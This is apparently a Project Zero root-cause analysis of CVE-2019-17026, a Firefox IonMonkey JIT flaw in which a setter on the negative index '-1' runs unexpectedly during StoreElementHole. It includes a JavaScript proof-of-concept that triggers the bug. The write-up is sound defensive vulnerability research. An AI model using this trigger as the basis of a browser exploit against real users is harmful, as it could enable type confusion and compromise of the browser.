Samuel Groß, Project Zero (Originally posted on Project Zero blog 2020-08-05)

The Basics

Disclosure or Patch Date: 8 January 2020

Product: Mozilla Firefox

Advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2020-03/

Affected Versions:

First Patched Version: Firefox 72.0.1 and Firefox ESR 68.4.1

Issue/Bug Report: https://bugzilla.mozilla.org/show_bug.cgi?id=1607443

Patch CL: https://hg.mozilla.org/mozilla-central/rev/d6e40de88f3defdc12ef27e64ca73e120b1f10e2

Bug-Introducing CL:

Reporter(s): Qihoo 360 ATA

The Code

Proof-of-concept:

The code should print 1337, but on vulnerable versions prints 42.

// Set this to 10 or so to see correct result
const NUM_ITERATIONS = 2000;
const ARRAY_LENGTH = 100;

let OBJ = { a: 41 };
// Need to change property once or IonMonkey
// will assume it's a constant.
OBJ.a = 42;

let ctr = 0;
function f(obj, idx) {
    let v = OBJ.a;
    obj[idx] = v;
    // In the last iteration, the JIT code will get here without
    // bailing out while the StoreElementHole operation above
    // unexpectedly invoked a setter because idx -1 is a property.
    // As the compiler didn't expect side effects, it does not
    // refetch OBJ.a and so returns an incorrect result.
    // Causing type confusions is left as an exercise ;)
    return OBJ.a;
}

function main() {
    for(let i = 0; i < NUM_ITERATIONS; i++) {
        let isLastIteration = i == NUM_ITERATIONS - 1;
        let length = ARRAY_LENGTH;
        let idx = isLastIteration ? -1 : ARRAY_LENGTH;

        let obj = new Array(length);
        Object.defineProperty(obj, '-1', {
            set() {
                print('Setter called, setting OBJ.a to 1337');
                OBJ.a = 1337;
            }
        });

        for (let j = 0; j < length; j++) {
            // Array must not be packed or else a flag change
            // (indicating non-packed elements) will cause
            // invalidation in the last iteration.
            if (j == length/2) {
                continue;
            }
            obj[j] = j;
        }

        let r = f(obj, idx);
        print('Result: ' + r);
    }
}

main();

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis?) No

The Vulnerability

Bug class: Incorrect side-effect modelling in JIT Compiler

Vulnerability details:

The alias information, which describes what side-effects a JIT MIR operation can have, have been changed for the StoreElementHole and FallibleStoreElement operations. In particular, they have been generalized so the compiler now assumes that executing one of these two operations can change anything. This implies that the modelling was incorrect previously. This bug is thus one of the “incorrect side-effect modelling” issues frequently found in JIT engines.

Given the patch, it seems likely that the StoreElementHole and FallibleStoreElement can cause unexpected execution of arbitrary JavaScript. An immediate thought are indexed accessors in the prototype chain, however, the JIT compiler guards against that. As it turns out, however, the StoreElementHole and FallibleStoreElement operations will happily accept negative numbers as the index, in which case they end up writing a property and not an element (in JavaScript, elements must have integer-valued keys between 0 and I think 0x7fffffff). As such, a property setter on the property ‘-1’ will pass the JITs requirements about the input objects but will also cause unexpected execution of JavaScript during the StoreElementHole operation.

Patch analysis: N/A

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

Based on how well documented & popular this bug class is, it’s likely someone looked for other instances of this bug class.

(Historical/present/future) context of bug:

CVE-2019-17026 was seen exploited in the wild with CVE-2020-0674, an Internet Explorer 0-day. If the target was running Firefox, CVE-2019-17026 was used.

CVE-2019-11707 is a similar type of bug in Spidermonkey that was also exploited in the wild [P0 1820].

The Exploit

Is the exploit method known? N/A

Exploit method:

Unknown due to not having access to the exploit, but most likely similar to other exploits for this type of bug, such as CVE-2019-11707.

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

Same as for CVE-2019-11707.

Found variants:

Structural improvements

Same as for CVE-2019-11707.

0-day detection methods

Same as for CVE-2019-11707.

Other References